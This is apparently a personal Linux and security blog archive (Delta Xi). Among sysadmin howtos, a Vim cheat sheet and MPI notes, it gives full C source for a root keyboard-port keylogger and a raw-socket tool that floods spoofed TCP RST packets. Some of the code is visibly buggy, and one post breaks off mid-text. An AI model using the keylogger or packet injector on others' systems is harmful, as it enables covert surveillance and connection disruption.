# Delta Xi

x11log now on Github and AUR
Tags: it, x11log, oss, security

15 10 2015 #053

The x11log source has been slightly updated, and its repository has moved from launchpad to Github. There probably won't be custom Ubuntu package builds in the near future, although I'll do my best to keep the /debian/ subdirectory reasonably up to date. However, x11log is now available via the Arch User Repository.

FH Beamer Template for Latex
Tags: it, business, latex, beamer, fhooe

03 09 2015 #052

Latex beamer is a wonderful way for hacking slide-sets. However, using only the original beamer package, the source-code for slide-sets can become quite extensive and therefore hard to navigate through.

That's why I wrote a small tex template, uncreatively called FH Beamer Template. It's super-easy to use and will save you a lot of time, not building tons of nested begin/end environments and many other things. Many heavily-used tasks usually required for professional slide-sets are provided via shortcuts, by defining new commands and macros (usually prefixed with \fh) to make your life easier with Latex.

The current version 3.0 of the template can be downloaded here. It includes a simple showcase, in both PDF and TEX format as well as the actual template source. It's easy to use and modify, so grab it and make your slides smile.

Professorship for Mobile Computing
Tags: it, business, security, fhooe, mobilecomputing

01 08 2015 #051

I was assigned a full professorship for Mobile Computing at the University of Applied Sciences Upper Austria, Campus Hagenberg. You may expect some interesting blog updates on cool student projects or theses along the way, so let's get excited.

OSCP, finally
Tags: it, dx, security

01 09 2014 #050

A few months ago, I decided to enroll for OSCP certification, by scheduling the Penetration Testing with Kali Linux (PWK) course. After a spending a considerable amount of time in Offensive Security's hack-labs, the day of the ming-bending 24h-exam has come. The exam was actually harder than expected, but required nothing one would not have came along during PWK - which, however, also included the really tricky hosts to own.

I hacked almost the entiry lab network in a rather short time period due to extraneous circumstances, but during that time frame, I basically had no life. It was exciting, challenging, eye-opening. OSCP follow a superb certification methodology previously unseen in the landscape of security certifications. OffSec did an outstanding job designing the lab environment, and I will surely continue that path, longing for OSCE sooner or later.

TLS that really rocks
Tags: it, dx, security

13 03 2014 #049

TLS is tricky these days :)

Interviewed by DerStandard
Tags: scientific, it, press, watermarking

21 08 2013 #048

In today's Forschung Spezial (research section) of Austrian newspaper DerStandard, journalist Katharina Mittelstaedt published an interview with me concerning the current state of my research, and concerns it may not help struggling with. The article was published in today's regular print edition and has recently been made available online.

Watermarking generative information systems
Tags: scientific, it, security, watermarking, databases

21 03 2013 #047

Another paper on digital watermarking of information systems has been accepted for publication in the International Journal on Applied Mathematics & Information Sciences. It resembles this paper, providing further refinements and advancements.

The perfect Vim setup
Tags: it, vim, vimrc

01 02 2013 #046

This is the perfect love story. We met 15 years ago, and at was love at first sight. As of now, there's basically no text processing task I wouldn't prefer to accomplish with Vim: From editing configuration files, typesetting LaTeX documents to regular programming. I can't think of an editing approach more efficient than Vim's modal concept.

Over the years, my .vimrc configuration file has reached a point where I wanna share it with you. The file is well-structured and is supposed to be self-explanatory. Feel free to do with it whatever you want.

You can download the entire .vim directory here, which also includes the .vimrc (don't forget to symlink or copy it directly into your home directory).

What do do from here:

• Unpack it (the .vim directory) in your home direcotry
• Either copy .vim/vimrc to your home and prefix a dot, or better symlink it via ln -sf .vim/vimrc .vimrc
• Open Vim and have fun!

To avoid errors, you should also install the exuberant-ctags package, or comment the corresponding line in your Vim configuration file.

There is a built-in Vim cheat-sheet available with the Ex command :Cheat - it will open a new Vim vertical split window showing some really tricks and hints regarding Vim commands. Here is an excerpt from the cheat sheet (which has nothing to do with the vimrc):

# vim: set sw=8 ts=8 sts=8 :# Vim cheat sheet# ---------------------------------------------------------------# Version: v1.6# Author: Erik Sonnleitner <es a|t delta-xi.net d0t net># ---------------------------------------------------------------:Cheat                # show cheatsheet# Using vim help:h                    # open Vim help<C-]>                 # follow help link<C-T>                 # unfollow/back# Movement, Goto and/or find positionh j k l               # basic movement, you should know this anywaygj gk                 # virtual move (within same line with linebreaks)fX                    # goto next occurrence of X in current line; ,                   # re-execute last f-search forward/backward%                     # go to matching parantheses/brackets/tags/etc* #                   # find next/prev occurence of word under cursormk                    # mark pos as 'k''k                    # goto mark k:marks                # list existing marks (local + global)gm                    # goto middle of screen line (horizontally)g; g,                 # trace change-history<C-Y> <C-E>           # scroll up/down linewise<C-D> <C-U>           # scroll up/down half a screen<C-F> <C-B>           # scroll up/down a whole page# Completion<C-n> <C-p>           # word completion next/prev<C-x><C-l>            # line completion<C-x><C-o>            # omni completion<C-n> <C-p>           # pop-up: select next/previous match in list<C-e>                 # pop-up: revert completion, restore text# Foldingzf                    # create foldzf/pattern            # fold until pattern machteszc                    # unfold# Arithmetics<C-a> <C-x>           # inc/dec number under cursor-10<C-a>              # subtract next number in current line by 10<C-r>=2+4             # in insert mode: calculate and paste result# Recording macrosqX                    # start recording to reg Xq                     # end recording current macro@X                    # replay record of register X@@                    # replay last recorded marcro# Command execution:!pwd                 # execute command in shell!!pwd                 # execute & paste output (same as :.!cmd)# Vim windows<C-w>s <C-w>v         # split window horizontally/vertically<C-w>_                # full-screen vi-window<C-w>=                # equalize windows<C-w>jkhl             # switch to window<C-w>JKHL             # move window to left/right/up/down location<C-w>T                # close window and open in separate tab# Visual modev V <C-v>             # char-wise, line-wise, block-wise visual modeso                     # in VM: toggle line ends# Neat/Unsorted:X                    # encrypt file (be sure to set enctype in vimrc):noh                  # Unhighlight:%!xxd                # go hex, -r to revert:mksession NAME       # define a session:w !sudo tee %        # sudo save:earlier 15m          # restore file as it was 15mins agozz                    # move line to middle of screen"+                    # x11 clipboard buffer registerq:                    # browse ex-command historyq/                    # browse search history:tabfind <pattern>    # search files for pattern and open in new tab:changes              # show list of changes:jumps                # show list of jumps:reg                  # show register contents10@a                  # run macro 'a' 10 times in series:'<,'>norm @a         # run macro 'a' across selected lines in parallel/\v(abc|def){2}$# omit escapings in regexes with '\v' prefix\Va.k.a # auto-escape everything (. is no placeholder!)@: # repeast last Ex command# During Insert mode<C-w> <C-u> # delete last word/sentence<C-o> # execute 1 normal-mode command and return<C-r>{register} # paste contents of register The config is supposed to be updated constantly. Have fun! New x11log Ubuntu packages Tags: it, x11log, opensource, launchpad, ubuntu, debian 01 02 2013 #045 Ubuntu 12.10 (Quantal) packages of the x11log keylogger are now available on my Launchpad PPA. It finally ships with a Unix manpage and provides better automatic recognition of the primary X11$DISPLAY to log keystrokes from.

Installing packages from the PPA is really easy:


OPIE will ask for the password seed, given at the server, and finally returns the password string, something like this:

498: NICK FAY SEND BERT ALTO BANE

Type this password at the SSH login, and you're done. Capitilization is not relevant!

If you're the admin of the server and doesn't want to give the seed password to the users, just print out a list of passwords, counting down from 499:

\$ opiekey -n 100 498 v38294

498 just tells OPIE the password-number to start with. This list can safely be given to your clients which need secure SSH accounts.

Centralized logging of multiple servers
Tags: linux, security, logging, howto

17 04 2007 #015

Syslogd is the friend of all administrators. No serious admin would miss taking a look in /var/log/* consistantly. Reading and working out log files is a very time consuming process, and even more complicated when administrating multiple server boxes.

This mini-howto shows you how to centralize your logs.

A typical Unix system has a wide range of important log files, such as:

/var/log/auth.log/var/log/kern.log/var/log/mail.log/var/log/syslog/var/log/messages

The file /etc/syslog.conf (or something similar) defines which facilties under which priorities are logged to which files on the system. But what if you have to administrate 15 server machines, running Postfix, Bind, vsftpd, Apache and so on? It's not an easy thing to come up with all the logs all the time.

One possible solution to this is centralized logging. So we have a logging server box, which takes all the logs of the other machines which are centralized and possibly compressed and encoded.

To do this, just rerun syslogd with the "-r" argument are tell you firewall(s) to pass through port 514, which syslogd listens for incoming logs.

On your client systems, you may want to change your syslog.conf to this:

*.* @logging-server

which tells syslog to send all logs to your server. But be careful where your syslogd is actually running, it should by no means be reachable from the outside world! Otherwise anyone could send data to port 514.

You may also make the box more secure by ssh-tunneling the logging traffic, even if it's only about the internal network.

The above example would route all the logs to your server, which of course is not the best option: Kernel-specific logs for example shouldn't be somewhere else than on the machine which actually runs the kernel.

Additionally, it may be a good idea to save the logs locally as well as remotely. Diff and/or sha512sum could help you to make sure everything is ok. Crackers often try to delete logs corresponding to their attack, but it's quite hard to do this on a remote machine. Always compare both versions if the same data integrity is given.

Mtree for data integrity
Tags: linux, security, howto

16 04 2007 #014

One and a half decades before, firewalls have had an exciting hype towards the whole Internet community. A few years later, numberous companies tried to get customers by releasing (partitally really obscure) security systems by calling them "Intrusion detection", then, again a few years later, "Intrusion prevention" and nowadays also prevention is not enough, but the software is called "Intrusion Reaction".

However, something like a host-based intrusion detection system can be established via a small FreeBSD tool called Mtree.

Mtree is a tool, which checks the filesystems integrity by watching for changes in the main system. If this is done regulary, a couple of rootkit-systems can be detected easily.

Mtree builds a database of what-ever filesystem you want, and stores the directory tree with all common file attributes and a hash-key of the objects in a file. This file is being checked against changes in succeeding mtree calls.

freebsd-mtree -c -K cksum -p /bin > /var/log/mtree_dump_date

This command build the tree for the /bin directory. Checking mtree against the whole root filesytem isn't the best point to start, because many files will change regulary, especially in /home and /var.

However, if treed against /etc, /bin/, /sbin, /usr, /boot and probably /lib you have a collections of fs-dumps which are not to be changed by anyone else than root.

By typing

freebsd-mtree < /var/log/mtree_dump*

the current filesystem is checked against the dump, and all changes are printed to the console. You can easily have a look on what's going on on your system, especially if some nasty tool has changed non-suspicious-looking programs like ls or ps, which are commonly abused by rootkits.

It's really worth a try, putting al mtree dumps in a SSH-tunneled SVN repository, which are automatically crond-checked nightly - you can even let mtree mail you all changes. Easy, isn't it?

SSL certificate
Tags: linux, security, howto, ssl

14 04 2007 #013

I really missed to provide an SSL-certificate for HTTPS usage of Delta Xi. You can finally use the more secure access, via https://www.delta-xi.net.

Here is a short introduction how to create your own certificates and use them with Apache2.

What do you need? Most the distributed packages of Apache2 already have an SSL module installed. If not, just type ln -sf /etc/apache2/mods-available/ssl.load /etc/apache2/mods-enables/ssl.load && ln -sf /etc/apache2/mods-available/ssl.conf /etc/apache2/mods-enabled/ssl.conf.

Now you Apache should be ready to use certificates, which are to be created now. Make sure you have openssl installed on your system.

openssl genrsa -out server.key -aes128 1024openssl req -new -key server.key -out server.csr

With these commands, we generate our server's private key as well as a certificate request for the server. This request is to be signed by an certificate authority. For our purpose, it's OK to sign the certificate by ourself.

openssl req -new -x509 -days 1460 -key server.key -out server.crt

Ok, your certificate is ready to use. We finally have to tell Apache2 to use it with HTTPS support. Just find the Virtual Host you want to be capable of SSL and add a few entries. The result will probably look something like this:

<VirtualHost xxx.xxx.xxx.xxx:443>DocumentRoot /var/www/htdocsSSLEngine OnSSLProtocol All -SSLv2SSLCertificateFile /path/to/your/certificate.crtSSLCertificateKeyFile /path/to/your/keyfile.key</VirtualHost>

Two more lines in apache2.conf to tell Apache to Listen on port 443:

NameVirtualHost xxx.xxx.xxx.xxx:43Listen *:443

SVN server online
Tags: news

06 04 2007 #012

Delta Xi now runs a subversion server. Please note that the published source codes are mostly proof-of-concept implementations, not real projects.

Everything is commonly public domain and GPLed, except for SMC (this one will be licensed under GPL in a few months). The web-interface can be accessed via the WebSVN interface. Enjoy!

Update: SVN isn't available anymore.

Symmetric asymmetry: Beyond PGP
Tags: linux, security, opensource, gpl

05 04 2007 #011

PGP is a wonderful tool. It implements asymmetric cryptography and allows everybody to send mails all over the world, in a very secure way. But asymmetric algorithms doesn't fit very well on users who don't have the knowledge about public and private keys.

I recently developed a tool called SMC, which is a proof-of-concept realization that secure mailing isn't limited to asymmetric cryptography...

The idea of asymmetric cryptography is simple: Let there be two keys instead of one; one for encoding and one for decoding data. When communicating with tools like PGP or GPG, every participant has his own keypair. One of those, the public key, is published on a server, comparable to a phonebook.

If Alice wants to mail Bob, she retrieves Bob's public key and encrypts the message with it. After encrypting, no one is able to decode the message except for Bob, because he's the only one who has the corresponding private key.

Simple idea, not-so-simple tool. Most people using e-mails, doesn't even know that a public key is (not worth mentioning how to create a keypair). This led me to trying out a symmetric mail client.

SMC is a tool, which realizes completely symmetric and secure mailing across the Net. It can be used with existing mail addresses and doesn't require the creation of any keys by hand.

The first mail sent, is a so-called invitation mail, where the recipient is asked if the he wants the sender to be able to add him to his contacts. Behind this invitation-process, the mail includes data, encoded with the SMC mail protocol.

In short, Diffie-Hellmann key-exchange is used to get the key to both participants on an insecure channel. An possible attacker Eve who is listing all the time, won't be able to crack the password. This can be mathematically proven due to the extremely compex problem of solving descrete logarithms.

When Bob responds to the invitation email, both parties are able to calculate the same 512bit key.

Further, each SMC-encoded message is secured by the Rijndael algorithm, the current Advanced Encryption Standard, proven by NIST. Beyond this, each message includes something like a symmetric digital signature, done by HMAC - a procedure which concatinates the plain text message with the key and computes a mathematical 160 bit one-way function (SHA).

This means that SMC can definitely proove (1) who has sent the message, and (2) that the message is integre. So, the sender can't claim that he didn't send the mail because he's the only one with the corresponding key. Besides, no one can modify the mail when it's on the Net - otherwise it will be detected and deleted.

The source is written in Perl for scientific use on the Johannes Kepler University of Linz. Enjoy!

Update: Sorry, this file isn't hosted anymore.

Tags: linux, security, coding, gpl, opensource

04 04 2007 #010

You're sitting in front of your box, but the screensaver is on because you're not actually working on it (even admins show the need for non-unix human requirements). In that case, just code your own keyboard LED handling routine, and let you what's going on on your system.

LEDs are present on virtually all keyboards. Especially the Scroll-Lock LED is commonly unused nowadays, so it's a good point to start hacking here.

When using all three LEDs, you're able to let the LEDs indicate eight different states (2 to the power of 3). But even when using just one diode, it's possible to indicate quite important system status messages - like in/outgoing traffic, or newly arrived IM messages.

The following code is a hack for X11/xorg, because most systems have X installed (otherwise you'd have to set the LEDs for every TTY). Before trying to compile, make sure you have libX11 and libXtst installed (including development files).

The program itself just fakes the X-server by simulating a key event from the keyboard, which has actually not been pressed.

To the simple code: We have to get a pointer to our X display at first. Then we start an infinite loop, where every LED (Capslock, Scrolllock and Numlock) is being activated for 200ms. Every LED call is to be done twice, one event for key-pressed and one for key-released. As a result, the three LEDs will change their status in a knight-rider like style.

If you want to be informed when ICQ messages arrive, the easiest way is to just figure out where to configure how to play sounds with your IM client. Psi as well as Licq for example offer options, which allow you to select an application to start when certain events occur (e.g. message received). Now just point this event-handling routines to your LED app.

Of course you can also make tcpdump check your router for new packets and inform your application which will change the LED status according to what tcpdump said.

Compile with gcc -I/usr/lib/X11R6/include -L/usr/X11R6/lib -lX11 -lXtst -o <file> <file.c>

/** Erik Sonnleitner, 2007 (esonn [at] gmx dot net)* Linux keyboard LED status changer* www.delta-xi.net* */#include <X11/extensions/XTest.h>#include <X11/keysym.h>#include <stdio.h>#include <stdlib.h>#include <unistd.h>int main(int argc, char ** argv) {    unsigned int keycode = 0, i = 0;    Display* disp;    for(;;){        if (!(disp = XOpenDisplay(NULL)))            { fprintf(stderr, "Error: Can't connect to X server!\n"); return EXIT_FAILURE; }        if (keycode) {            XTestFakeKeyEvent(disp, XKeysymToKeycode(disp, keycode), True, CurrentTime);            XTestFakeKeyEvent(disp, XKeysymToKeycode(disp, keycode), False, CurrentTime);        }        if(++i >= 4)            i = 1;        switch(i){            case(1): keycode = XK_Caps_Lock; break;            case(2): keycode = XK_Num_Lock; break;            case(3): keycode = XK_Scroll_Lock; break;            default: keycode = 0;        }        XTestFakeKeyEvent(disp, XKeysymToKeycode(disp, keycode), True, CurrentTime);        XTestFakeKeyEvent(disp, XKeysymToKeycode(disp, keycode), False, CurrentTime);        XCloseDisplay(disp);        usleep(200000);    }    return EXIT_SUCCESS;}

Key(logger) management
Tags: linux, security, coding, x11

1 04 2007 #009

There is quite a wide range of keyloggers for Win32/64 operating systems, OSS as well as commercial ones. This fact differs on Linux boxes, but some administrative tasks deserve logging keyboard inputs (or at least, make them much easier). Here you'll read how to code your own logger.

To log your keyboard inputs you have basically two different options: Programming in userspace or in kernelspace. Writing kernel modules isn't that hard, but the kernel space provides much more (and mostly previously unseen by normal programmers) techniques for advanced programming.

Therefore I'll focus on userland programming. The basic idea is to grab the keyboard hardware I/O ports and copy everything which is buffered there. The results won't be ASCII characters like 'a' or 'z', but the kernel internal representation of different keys: The keycodes. Keycodes are numerical integer values, beginning with zero. Every key on your keyboard (except some strange multimedia functionalities, possibly) has its own keycode representation. This representation is more or less the same on every keyboard, irrelevant which language is offered.

Some keyboards provide special keys like the common fn-key on laptops as well es multimedia keys. Most of them also return keycode values, but nevertheless it's possible that no keycode is passed to the kernel when pressing these keys because the implementation of what to do when the key is pressed is done directly in the hardware (mostly seen on laptops).

As a result you need something like a conversion function, which does the mapping between keycode and the key which is meant (these differ, in dependence on linguistic layout of your keyboard). In my solution, the mapping is done by keymap.h which contains only one function (decode_key()). The use of a decode function is more a dirty hack than an industrial strength implementation, because every keyboard layout has to be coded and recompiled, so if you intend to use a keylogger in a more professional way you might want to write something like a config file interpreter, reading the keycode maps and their key mappings on different keyboards from an ASCII file.

Now let's have a look on the code. About line 28, we're trying to get the permission to read from the keyboard ports. We'll need two of them, the keyboard status port (0x64) and the port where the keys are sent to (0x60). These port numbers (ok, to be exact, we're talking about registers) are not Linux specific, but depend on Intel compatible architectures - so don't expect this to run on PPC. Note that we'll only get these permissions if we're starting the tool as root.

About lint 40, the main loop is defined. This infinite loop is executed every SLEEP_TIME milliseconds (1 by default), otherwise the routine would be called far too often. If a key is pressed, we'll grab the keycode (key = inb(P_KB)). You may notice that we only grab the keycode, if the keyboard status register returns 20 - that means that no other special keys are pressed (e.g. CTRL). If the code doesn't work for you that way, just comment out this if-statement and every combination will be logged. Before writing this code to our logfile, we need to check if the same keycode has been called shortly before, otherwise we'd spam the logfile exessively when pressing a key for more than a few millisedonds.

Finally, when writing to our log file, it needs to be flushed because the fclose() is outside our infinite loop (which isn't a programming style you should prefer, of course ;-). Now have fun logging your keys!

/** Erik Sonnleitner, 2007 (esonn [at] gmx dot ne)* Linux userland keylogger* www.delta-xi.net* */#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <sys/io.h>#include "keymap.h"#define P_KB 0x60 /* -the- keyboard io port */#define P_KB_STATUS 0x64 /* statusport */#define SLEEP_TIME 500 /* time to wait in ms */int main(int argc, char *argv[]) {  int key = 0, lastkey;  FILE *log;  if(argc != 2) {    fprintf(stderr, "Usage: %s <logfile>\n", argv[0]);    return EXIT_FAILURE;  }  /* set the permissions for the port 0x60 and 0x64 (keyboard) */  if (ioperm(P_KB,1,1) == -1 || ioperm(P_KB_STATUS, 1, 1) == -1) {    fprintf(stderr, "Failed to set up IO permissions\n");    return EXIT_FAILURE;  }  /* try to open logfile */  if ((log = fopen(argv[1], "a")) == NULL) {    fprintf(stderr, "Error opening given logfile %s\n", argv[1]);    return EXIT_FAILURE;  }  /* main log routine */  for(;; usleep(SLEEP_TIME)) {    key = 0;    if(inb(P_KB_STATUS) == 20)      key = inb(P_KB); /*read key */    if (key) {      if (key != lastkey) {        lastkey = key; /* prevent log spamming */        if(decode_key(key)){ /* if key is known in keymap, write it */          fprintf(log, "%c", decode_key(key));          fflush(log);        }      }    }  }  fclose(log);  return EXIT_SUCCESS;}

SMP: Programming multiple processors
Tags: linux, coding, smp, howto

29 04 2007 #008

"Grand challenge" defines problems which are, at least theoretically, solvable with todays computational capacities - but not in a reasonable amount of time. Therefore, massivly paralleled processor systems are used to compute how atomic bombs distribute particles and get the weather forcast for tomorrow (and the day after tomorrow, and the day after the day after ...).

Programs are normally not SMP capable by dafault, you have to tell the program which processor has to do which work. The main challenges in this programming style are briefly shown here.

When writing programs which should be using multiple processors, the POSIX and ANSI library standards for Unix won't give you enough information how to tell the system which part of the program should run on which processor. The resource of choice is now an implementation library of OpenMPI, which would be e.g. MPICH or LAMPI. The following code segments will show how to work with MPICH.

First of all, you need to install the MPICH library and development headers for your favoured distribution.

Besides the necessary libraries MPI comes with two important executables: mpicc and mpirun. All programs should be compiled with mpicc, which is something like a precompiler for gcc. The applications are run with mpirun to coordinate the program structures with the processors. If programming on a single processor machine, mpirun forces to simulate multiple processors with using multiple processes.

The first step is to call MPI_init(&argc, &argv), to initialize the MPI environment with the given arguments to the program (which does not replace the standard main function). While coding, you don't necessarily have to know on how many processors the final program will be running on, therefore the function MPI_Comm_size(MPI_COMM_WOLD, &size) will retrieve the number of processors we're running on, and MPI_Comm_rank(MPI_COMM_WORLD, &rank) will determine the number of the actual CPU, the program is running on.

The most important thing is that the processes can communicate to each other, which is done by so-called message passing. There are quite a couple of functions for message sending and receiving, but the most commons are:

MPI_Send(*data, count, MPI_datatype, destination_processor, tag, MPI_COMM_WORLD).*data: Pointer to the data we want to send.count: Count how many times the given datatype size should be transfered (usable for arrays, e.g.).MPI_datatype: This would be for example MPI_INT, MPI_FLOAT, etc.destination_processor: The number of the processor (returned by MPI_rank().tag: This is just an additional functionality to separate messages from others; should be an integer.MPI_COMM_WORLD is defined after calling MPI_Init() and just determines the right processor space, so to say.

MPI_Recv(*data, count, MPI_datatype, destination_processor, tag, MPI_COMM_WORLD, *status)

The only difference between MPI_Send() is the last argument, *status. This structure is MPI_Status* typed, for getting additional status information about the received object.

That's it. What the following example does: We have 4 processors, and each of it gets its own random number. The goal is to find the global minimum number of all processors.

To compile this one, you have to type: mpicc -I/usr/lib/mpich/include -L/usr/lib/mpich/lib -lmpich -o <file> <file.c>

To run the code: mpirun -np 4 <file>

Note that the -np argument defines how much processors should be simulated with processes.

/** Erik Sonnleitner, 2007* */#include <stdio.h> /* printf and BUFSIZ defined there */#include <stdlib.h> /* exit defined there */#include <mpi.h> /* all MPI-2 functions defined there */int main(argc, argv) int argc;char *argv[]; {  int rank, size, length;  char name[BUFSIZ];  int lmin = 0, gmin = 0, tmp = 0, i = 0, winner = 0;  MPI_Status stat;  MPI_Init(&argc, &argv);  MPI_Comm_rank(MPI_COMM_WORLD, &rank);  MPI_Comm_size(MPI_COMM_WORLD, &size);  /* set +- random seed and force random numbers 0-2048 */  srand(time(0) + rank*23);  lmin = rand() >> 20;  printf("Hello from process %d of %d -- my random # is %d\n", rank, size, lmin);  gmin = lmin; /* suppose we have the global minimum for now */  /* master gets all local minimum values */  if(!rank) {    for(i = 1; i < size; i++){      MPI_Recv(&tmp, 1, MPI_INT, i, 0, MPI_COMM_WORLD, &stat);      if(tmp < gmin){        gmin = tmp;        winner = i;      }    }    printf("[master] I think the global minimum is %d, and the winner is %d\n", gmin, winner);    for(i = 1; i < size; i++){      MPI_Send(&gmin, 1, MPI_INT, i, 0, MPI_COMM_WORLD);      MPI_Send(&winner, 1, MPI_INT, i, 0, MPI_COMM_WORLD);    }  }  /* all but the master process should send their number to master */  if (rank){    MPI_Send(&lmin, 1, MPI_INT, 0, 0, MPI_COMM_WORLD);    MPI_Recv(&gmin, 1, MPI_INT, 0, 0, MPI_COMM_WORLD, &stat);    MPI_Recv(&winner, 1, MPI_INT, 0, 0, MPI_COMM_WORLD, &stat);    printf("Process %d: I think the global minimum is %d from process %d\n", rank, gmin, winner);  }  MPI_Finalize();  exit(EXIT_SUCCESS);}

What I'm doing here is simple: All processes (we could do this easily so that the algorithm isn't limited to four processors, of course) send their number to the master processors, initially the zero-ranked CPU. The master checks which is the lowest value and resends the global minimum to all processes.

Fun with raw sockets
Tags: linux, coding, rawsockets, howto

28 03 2007 #007

Most people ask why they should use raw sockets nowadays. The answer is: There is no reason. At least, for most programming purposes. On the other hand, raw sockets offer a wonderful method for writing own packets of OSI layers 3 (network) and 4 (transport).

Writing sniffers, scanners, injection tools as well as TCP connection resetters isn't difficult, like shown in this mini-howto.

When programming POSIX sockets, you normally force to use SOCK_STREAM for TCP connections or SOCK_DGRAM for stateless UDP packets. However, there are severel reasons not to use these protocols.

When debugging TCP connections, also SOCK_STREAM won't give you information about layer 4 headers, because the kernel will decompile received packets and is only willing to return the payload. This means, that also sniffer programming deserves (at least) SOCK_RAW.

Besides SOCK_STREAM and SOCK_DGRAM, there are two more options available: SOCK_RAW and SOCK_PACKET.

SOCK_RAW allows you to build your own IP- and TCP/UDP packets. SOCK_PACKET again deepens the OSI model, providing the ability of writing layer 2 (data link layer) packets. Because these are not routable, it's far less interesting.

Let's have a look at SOCK_RAW. The following source code will show you how to implement a minimalistic sniffing tool, capturing TCP connections:

int fd = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);char buffer[LEN]; int count = 0, LEN = 8192;while (read (fd, buffer, LEN) > 0) printf ("%d%s\n", ++count, buffer)

This code would also work when using SOCK_STREAM, but the buffer we'll printing won't have the TCP header information within.

The next step will be to create our own IP-based packets. The following code will realize a program which takes source- and destination IP addresses, and tries to send RST packets at predefined ports to the given host. This is useful for TCP connection interruption.

/** Raw IP/TCP packet construction example* Erik Sonnleitner, 2007* */#define __USE_BSD#include <stdio.h>#include <stdlib.h>#include <sys/socket.h>#include <netinet/in.h>#include <netinet/ip.h>#define __FAVOR_BSD#include <netinet/tcp.h>#include <sys/types.h>#include <arpa/inet.h>#include <unistd.h>#include <string.h>#define SPORT 3748#define DPORT 48117#define IPID 3728#define LENGTH 4096/* Prototypes */unsigned short csum (unsigned short *buf, int nwords);/* main routine */int main (int argc, char ** argv) {   int one = 1;   long count = 0;   const int *val = &one;   if(argc != 3) {      fprintf(stderr, "No argument given. Usage: %s <destination ip> <source ip>\n", argv[0]);      exit(1);   }   /* open raw socket */   int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);   /* our packet - containing IP & TCP header*/   char packet[LENGTH];   struct ip *iph = (struct ip *) packet;   struct tcphdr *tcph = (struct tcphdr *) packet + sizeof (struct ip);   struct sockaddr_in sin;   /* set destination IP and port (and finally clean buffer) */   sin.sin_family = AF_INET;   sin.sin_port = htons (DPORT);   sin.sin_addr.s_addr = inet_addr (argv[1]);   memset (packet, 0, LENGTH);   /* build IP packet header */   iph->ip_hl = 5;  /* Header length */   iph->ip_v = 4;   /* IP protocol version */   iph->ip_tos = 0; /* Type of service*/   iph->ip_len = sizeof (struct ip) + sizeof (struct tcphdr);   /* Packet length (just IP+TCP header, we have no payload) */   iph->ip_id = htonl (IPID);   /* ID of ip packet (just suitable for fragmentation, value is useless for us )*/   iph->ip_off = 0;   /* IP fragment offset; we don't need it */   iph->ip_ttl = 255; /* Time to live (max router hops) */   iph->ip_p = 6;     /* Transport layer protocol (6->TCP, 17->UDP, 1->ICMP) */   iph->ip_sum = 0;   /* IP checksum (we'll compute that later) */   iph->ip_src.s_addr = inet_addr (argv[2]); /* Set source IP */   iph->ip_dst.s_addr = sin.sin_addr.s_addr; /* Set destination IP */   /* build TCP packet header */   tcph->th_sport = htons(SPORT);    /* Source port (rather useless in our matter)) */   tcph->th_dport = htons(DPORT);    /* Destination port */   tcph->th_seq = random();          /* TCP sequence ID */   tcph->th_ack = 0;                 /* Only for ACK packets */   tcph->th_x2 = 0;                  /* Completely unused/reserved */   tcph->th_off = 0;                 /* First and only tcp segment */   tcph->th_flags = TH_SYN | TH_RST; /* TCP flags */   tcph->th_win = htonl (65535);     /* Window size */   tcph->th_sum = 0; /* TCP checksum (if set to zero, the kernel will do it for us) */   tcph->th_urp = 0; /* Urgent pointer (useless for us) */   /* set the correct IP checksum */   iph->ip_sum = csum ((unsigned short *) packet, iph->ip_len >> 1);   /* HDRINCL tells the kernel not to put his own headers before our packet */   if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)   fprintf (stderr, "Warning: Cannot set HDRINCL!\n");   /* Send out our packets until infinity */   for(;;)      sendto (s, packet, iph->ip_len, 0, (struct sockaddr *) &sin, sizeof (sin)) < 0         ? fprintf (stderr, "Error sending packet.\n")         : fprintf (stdout, "%d\n", ++count);      return EXIT_SUCCESS;   }   /* calculate IP checksum */   unsigned short csum (unsigned short *buf, int nwords) {   unsigned long sum;   for (sum = 0; nwords > 0; nwords--)      sum += *buf++;    /* quite the most simple hashing algorithm */   sum = (sum >> 16) + (sum & 0xffff); /* shift sum and set bitmask to only one's */   sum += (sum >> 16); /* add (sum / 2^16) */   return ~sum;        /* return complement on one */}

Tags: recommendation, software, shell

27 04 2007 #006

Who needs graphical instant messaging? Shelladdicted users prick up your ears - get rid of GUI IMs and let an FPS-like console do the work for you.

When Quake 1 was released, an incredibly new feature took place in modern FPS games, which only Unix geeks have used before: The gaming shell. A popup-based shell-like environment, fading from the top of the screen, but not covering the main FPS viewing scene to provide a fast, flexible and wonderfully versatile tool for changing about one million gaming options.

Many sequencing games have duplicated this concept but (although beloved by everyone) nearly no Unix nerd has ever thought about using a popup shell in an Unix environment. I finally found tilda, a really amazing tool which does exactly what it is called to be - the tilde key (which can be remapped) is thought to show a shell immediately.

When studying the currently available Linux ICQ client programs, you won't find the solution you might have been searching for. Particular ones have a disgusting GUI, are based on obnoxious libs or just have a lack of features. With mICQ, you have a full-featured replacement for nearly-every IM protocol ever invented. So why don't use micq + tilda and make your instant messaging habits be supported by your own desktop shell?

Debian on a tx3
Tags: linux, howto

07 02 2007 #005

Installing Linux on a laptop with getting all features to work isn't always a bed of roses. This howto will show you how to install and configurate a perfectly working Debian box, shown by example on a Sony Vaio TX3 notebook.

The full step-by-step guide is found here.

Lazy VLC coders
Tags: linux, security, hacking

29 01 2007 #004

After taking a look on MPlayer, I decided to have an eye on VLC, the OSS media players which is more frequently used in Win32-systems than MPlayer, although both are available on a couple of platforms.

When browsing the source for possible overflow vulnerabilities, the programmers of VLC didn't make it hard to find an overflow .. they explicitely found 'em themselves.

The VLC sources of revision 0.8.6a contain exactly 167 sprintf() calls. When I openend src/extras/dirent.c at first, I briefly checked the upcoming calls, and noticed two sprintfs() with overflows possible.

Shortly afterwards I noticed that I don't even have to search on my own, like line 150 told me:

148       else149         {150           /* FIXME: if I wasn't lazy, I'd check for overflows here. */151           sprintf (szFullPath, "\\%s", szPath );152         }

Again, the app tries to get the absolute pathname... Should filesystem's programmers nowadays probably unevent the wheel by not allowing directories at all? Application-level programming would be too easy.

mplayer buffer overflow
Tags: linux, security, hacking

17 01 2007 #003

I recently discovered a (previously unknown?) buffer overflow vulnerability in the mplayer sources. It's hopefully not enough to execute homebrewn code, but can still crash the application.

The overflow relys on Win32 (either native or via cygwin), when Real-Media codecs are used. Because the Real-Media codecs are proprietary closed-source, the application has to load the corresponding library to decode the v/a-stream correctly.

